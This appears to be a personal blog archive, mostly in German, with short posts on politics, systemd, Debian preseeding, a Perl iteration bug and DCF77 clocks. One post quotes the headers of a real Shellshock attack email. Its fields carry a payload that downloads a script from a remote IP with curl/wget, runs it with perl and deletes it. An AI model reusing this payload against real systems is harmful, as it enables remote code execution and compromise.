10
Schleuder - Encrypted mailinglist
Soeben habe ich Schleuder entdeckt. Sehr schön, an soetwas habe ich immer schonmal gedacht. Nur muss ich jetzt vielleicht den ein oder anderen hier in der Region mal finden der da auch Spass dran hat. Vielleicht die CryptoSelfDefenseOWL oder so?
DHL und wenn man mal wartet
Ich wollte doch nur das Paket endlich haben bevor das lange Wochende kommt und ich im Urlaub bin:
- Mo, 29.09.2014 16:41 Uhr --
Die Auftragsdaten zu dieser Sendung wurden vom Absender elektronisch an DHL übermittelt. - Di, 30.09.2014 17:25 Uhr Neumark
Die Sendung wurde im Start-Paketzentrum bearbeitet. - Mi, 01.10.2014 05:24 Uhr Bielefeld
Die Sendung wurde im Ziel-Paketzentrum bearbeitet. - Mi, 01.10.2014 08:10 Uhr --
Die Sendung wurde beschädigt und wird zur Nachverpackung in das Paketzentrum zurückgesandt.
Aaaaaarg
Sonneborn vs. Oettinger
Leistungsschutzrecht, Knarre und der Fuß
Hier ein netter Beitrag zum Leistungsschutzrecht von Stefan Niggemeier. Hier wird mal der absurde Lobbyismus der Verlage so richtig vorgeführt.
Erlang - The Movie
Besucher
Lieblingsstrandbar
Zeeland net and Man in the Middle
Whoa - I just tried to send a mail via SMTP/TLS to my very own mail server and i got prompted with a certificate mismatch. Astonisched i had a look at the certificate and found it to be issued to "Zeeland.net". They are trying to intercept my SMTP connection, trying to be a mailserver of my possession and on STARTTLS present me a certificate i would never ever trust.
Zeeland.net - Havent you learned from the Snowden publishing? Are you an arm of the Netherland or US American Intelligence?
UPU - Adressing the Worl
The UPU has a white paper on Adressing the World
In the definition of availability of address information the UPU explains the term "public good" as beeing something which is non-excludable. This means the public good can not be excluded from someone.
I send them an e-mail about copyright law in some countries beeing used on postcode databases. The "Deutsche Post" and "British Postal Service" both claim a copyright on the postcode databases.
The copyright means exclusion - The postal companys decide whom to license the database to. So there is an exclusion in place.
The UPUs whitepaper does not talk about legislation needed to protect from certain aspects of the addressing beeing excluded by copyright.
Another issue while wading through the whitepaper is that the paper talks about ISO Standard 19160 and 19115. Both of those Standards are NOT freely available.
ISO 19160 costs CHF 58 and ISO 19115-1:2014 costs CHF 198.
So for even understanding data and metadata by reading through the standard you need to spend CHF256, €211 or $267
Considering that nearly half the world lives from less than $2,50 a day defining something with a standard which is inaccessible to most of the worlds population sounds like a big joke.
Nein zu CETA und TTIP
Wenn das alles angeblich so toll für uns ist wieso muss das dann Geheim sein. Die einzige Erklärung ist wohl das es um Lobbyismus geht und sich gewisse Konzerne nicht in die Karten gucken lassen wollen.
Europa führt sich ad absurdum indem man versucht Bürgerbegehren mit hilfe von Spitzfindigkeiten zu unterdrücken.
Wir können mit CETA und TTIP nur verlieren:
Also hier unterschreiben und die Europäische Kommission zwingen die Verhandlungen zu TTIP und CETA auszusetzen.
Europa entschädigt Israel
Wie kommt es eigentlich das Israel regelmäßig die minderheit der Palestinenser im Land systematisch unterdrückt, massive Schäden im Gaza Streifen verursacht und alles plattmacht, und wir als Europäer dann dem Gaza Streifen wiederaufbauhilfen geben?
Nach dem Verursacherprinzip müsste Israel das zahlen. Wer kaputt macht macht auch wieder heile. Aber in dem Konflikt ging es noch nie fair zu.
[Wiederaufbau: USA und Europa versprechen Gaza-Streifen gut 600 Millionen] (http://www.spiegel.de/politik/ausland/gaza-streifen-erhaelt-von-eu-und-usa-600-millionen-fuer-wiederaufbau-a-996754.html)
Katzen und Vögel
Vogelschutz: Jäger wollen weiter Katzen schießen
So ein Schwachsinn - Da gehen die Jäger gegen das Verbot des Schießens von Hauskatzen an. Das eine Katze eine Vogel erwischt ist äusserst selten. Lieber vergnügen sich die Raubtiere mit Mäusen die ja nach aussage der Jagdverbände zu einer Plage in den Wäldern werden.
Das unsere Katzen mal einen Vogel erwischen passiert 2 mal im Jahr. Dafür liegen jeden tag hier 2-3 Mäuse.
Eine ausbreitung wie in Afrika ...
... ist bei uns nicht möglich.
Pflegekraft in Texas positiv getestet: Zweiter Ebola-Fall in den USA
Wie haben alles im Griff in den Westlichen Staaten versucht man uns beizubringen. Defakto sind selbst unsere Isolierstationen überfordert mit diesem Virus.
Alternativlos 30
Vor ein paar Tagen auf dem Fahrrad zuende gehört:
Sehr zu empfehlen - Einfach mal kompakt zusammengetragen was sich die Schlapphüte so in den letzten Jahren so geleistet haben.
Node.js
Zwar schon ein bischen älter aber gut für das Grundverständniss.
This is no political correctness club
Ein schöner bug bei OSM um die presets für das taggen von Puffs, Stripclubs und Nightclubs zu entfernen.
Warmes Wasser
Backward compatibility
Systemd and Gnome3 both broke backward compatibility, which most likely means it broke someone's workflow. Linus is well know for his ridged rule about not breaking userspace. Everything must be backward compatible. Only developers will dislike Linus, but users will love him. It seems that the systemd developers all love Lennart, it's his users that are not so happy.
Neuer "interessanter" Müll im Wald
Crypto und die USA
USA bestraft Export von Verschlüsselungssoftware Ist ja ein starkes Stück und ein Rückfall in die frühen 90er Jahre.
Zusammen mit der ankündigung des FBI an Google und Apple das mit der Crypto auf den Handys nicht hinzunehmen und am liebsten ein Key escrow haben zu wollen lässt böses erahnen. Anscheinend haben die NSA enthüllungen dazu geführt das Kryptographie im Mainstream angekommen ist und das die Schlapphüte nicht gut finden.
Es kommen schwere zeiten.
Phil Zimmerman
If privacy is outlawed, only outlaws will have privacy.
Nachts am DSLAM
fork Debian
After reading though most of the GR proposals it came to me that most of the proposals are not going far enough. We should overturn the TCs decision - go back to sysvinit and let systemd split their codebase into their pure init part and all the other cruft nobody needs.
Space shuttle thermal protection
Spannende Demonstration des Materials der Space Shuttle Kacheln. Die Kacheln können so wenig thermische Energie speichern das sie an den Kontaktstellen sofort abkühlt und keine Verbrennungen verursacht.
each vs foreach
Ein spannendes Problem - Eine funktion mit 'each' geschrieben funktioniert nicht. Umgeschrieben mit 'foreach' ist alles gut. Der teufel steckt im detail.
After "each" has returned all entries from the hash or array, the next call to "each" returns the empty list in list context and "undef" in scalar context. The next call following that one restarts iteration. Each hash or array has its own internal iterator, accessed by "each", "keys", and "values". The iterator is implicitly reset when "each" has reached the end as just described; it can be explicitly reset by calling "keys" or "values" on the hash or array. If you add or delete a hash's elements while iterating over it, entries may be skipped or duplicated--so don't do that. Exception: It is always safe to delete the item most recently returned by "each()", so the following code works properly:
D.h. each benutzt einen hash oder array internen iterator. D.h. wenn 'each' schleifen geschachtelt werden kommt da murks bei raus. Anders als offensichtlich bei foreach das einen eigenen iterator benutzt.
Kaputt:
my @ta=qw/a b c/;
while(my ($e) = each(@ta)) {
while(my ($f) = each(@ta)) {
printf("e $e f $f\n");
}
}
Heile:
my @ta=qw/a b c/;
foreach my $e ( @ta ) {
foreach my $f ( @ta ) {
printf("e $e f $f\n");
}
}
VDSL in Harsewinkel
Shellshock mail
Das ist ja spannend - Da kommt hier eine mail an voll mit shellshock exploits. Offensichtlich scheint das an der ein oder anderen stelle zu funktionieren.
Received: from pax.zz.de ([127.0.0.1])
by localhost (pax.zz.de [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id HiReUx0cpQN1 for <flo+admin@pax.zz.de>;
Fri, 24 Oct 2014 18:43:08 +0200 (CEST)
Received: from plug.rfc822.org (plug.rfc822.org [195.71.68.84])
by pax.zz.de (Postfix) with ESMTP id 28353D009E
for <flo+admin@rfc822.org>; Fri, 24 Oct 2014 18:43:07 +0200 (CEST)
Received: by plug.rfc822.org (Postfix)
id C2642F95D; Fri, 24 Oct 2014 18:43:07 +0200 (CEST)
Delivered-To: root@localhost
Received: from USER (u16850951.onlinehome-server.com [74.208.184.251])
by plug.rfc822.org (Postfix) with SMTP id 7821AF95A
for <root@localhost>; Fri, 24 Oct 2014 18:43:07 +0200 (CEST)
To: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
References:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Cc: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
From: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
Subject:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Message-ID:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Comments:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Keywords:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-From: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
Resent-Message-Id: <20141024164308.F05B0D009F@pax.zz.de>
pulseaudio und remote audio
Ich habe seit ein paar Jahren ja einen selbstgebauten MP3 player auf einem Kassenterminal. Normalerweise läuft da ein stark gepatchter 'gmpc' + 'mpd' auf der Kiste damit die Kinder via touch sich eine CD aussuchen können.
Heute bin ich auf die Idee gekommen das eigentlich man ja auch remote audio die hinschicken können müsste.
Also mal pulseaudio + zeroconf/avahi auf die kiste. Nach ein bischen pfriemeln geht das wirklich ganz gut. Das einzige was mich zeit gekostet hat ist ein pulseaudio ipv6 link-local bug #40785.
In 2014 noch sowas zu fixen das irgendwer mit link-locals rumhampelt ohne das interface dabei finde ich gruselig.
Naja - 'ip -6 addr flush dev wlan0' auf der jukebox und schon ging auch das. Danach hat mir noch 'ferm' auf der audioquelle in die suppe gespuckt.
Fahrradpflege
DCF77 und Zeitumstellung
Wenn es zur Zeitumstellung kommt und das betreffende Gerät ein DCF77 Empfänger besitzt muss man eigentlich nichts machen. Denkste. Es gibt Programmierer die selbst das DCF77 Spec nicht lesen können.
Dieser Wecker ist anstatt eine Stunde zurück 2 Stunden vor gestellt.
DCF77 sendet anders als GPS oder NTP immer die jeweilige Ortszeit d.h. MEZ oder MESZ. Es wird in 2 bits lediglich signalisiert wann wirklich umgestellt wird. Wenn man nur die Uhrzeit anzeigt muss man eigentlich nichts machen. Hier war aber ein besonders schlauer am Werk so wie es aussieht. Bei der signalisierung der Umstellung zum Ende der Stunde wurde mal schnell angenommen das wir jetzt Winterzeit haben und die Uhrzeit anpassen müssen. In den darauffolgenden minuten wird aber anscheienend das Ergebniss nicht kontrolliert.
Fixen kann man das ganze in dem man die Batterie entfernt und wieder einsteckt. Dann fährt der Wecker auf 12:00 und wartet auf die nächsten komplette Minute um die Uhrzeit zu bekommen.
Debian Installer preseeding from USB Stick
I had the idea of using a debian mini iso usb stick and some preseeding
to quickly install some machines. I have some 'late_script' and 'preseed.cfg'
magic already for network booting but using a USB stick is a little
more tricky. What documentation does not tell you is that when using
a 'file://' instead of a 'http://' url on the kernel command line the
d-i does not append stuff to the url as it does using http where it
extends by 'd-i/
Now i have a usb stick (cat'ted the boot.img to the usb stuck and put an mini.iso in the resulting filesystem) with a syslinux.cfg which installs a simple system with most of the packages from the usb stick itself.
LABEL def
kernel linux
append vga=normal initrd=initrd.gz netcfg/dhcp_timeout=90
priority=critical language=en keymap=de country=DE
locale=en_US.UTF-8 auto
url=file:///hd-media/d-i/jessie/./preseed.cfg
classes=vc/sys/simplevirt
I am heavily using Phil Hands d-i extensions for building classes. This is very recommended. I am maintaining tons of workarounds for broken packages in there since the lenny release.
Debian Install and hostname preseeding
Typically i didnt care for hostname setting in d-i because machines i installed were later modified manually a lot. Now i am facing more automated creation of virtual machines i would not like to touch manually a lot.
So i tried preseeding the hostname with the documented methods e.g.
netcfg/get_hostname=vmXYZ
Which worked kind of. When i moved to the production environment suddenly DNS was involved and i learned that d-i tries very hard to work around 'netcfg/get_hostname' by looking at DHCP responses and into the DNS reverse DNS.
So i had a look at the code and found this in 'netcfg/dhcp.c'
572 debconf_get(client, "netcfg/hostname");
573 if (!empty_str(client->value)) {
574 strncpy(buf, client->value, MAXHOSTNAMELEN);
575 di_debug("Using preseeded hostname");
576 preseed_hostname_from_fqdn(client, buf);
577 }
578 else if (gethostname(buf, sizeof(buf)) == 0
579 && !empty_str(buf)
580 && strcmp(buf, "(none)")
581 ) {
582 di_info("DHCP hostname: \"%s\"", buf);
583 preseed_hostname_from_fqdn(client, buf);
584 }
585 else if (!empty_str(interface->dhcp_hostname)) {
586 di_debug("Defaulting hostname to provided DHCP hostname");
587 debconf_set(client, "netcfg/get_hostname", interface->dhcp_hostname);
588 } else {
I havnt found a lot of documentation on these logic so i am writing it here.
So 'netcfg/hostname' is the way to set the users wish of a hostname.
Nackt und im Gefägniss
Das ist ja mal Krass. Der typ steht für das ein was er glaubt und Vater Staat sperrt den eigentlich konsequent und permanent weg weil er - Festhalten - Nackt ist.
Als wenn heute Nackte tatsachen noch irgendwen erzürnen. Von jeder Plakatwand strahlt und ein quasi Nacktes Victory Secrets model an. Wenn es dann um Männer geht darf das nicht sein?
systemd and bsdutils
Just another rant - Why on earth
dpkg: dependency problems prevent removal of libsystemd0:amd64:
bsdutils depends on libsystemd0.
systemd is not even portable to *BSD so why to bsdutils depend on libsystemd0.
Satellit kaputt
Spannend zu lesen hier ein Artikel der Nasa Leute zum Problem mit einem Landsat Thermal Band.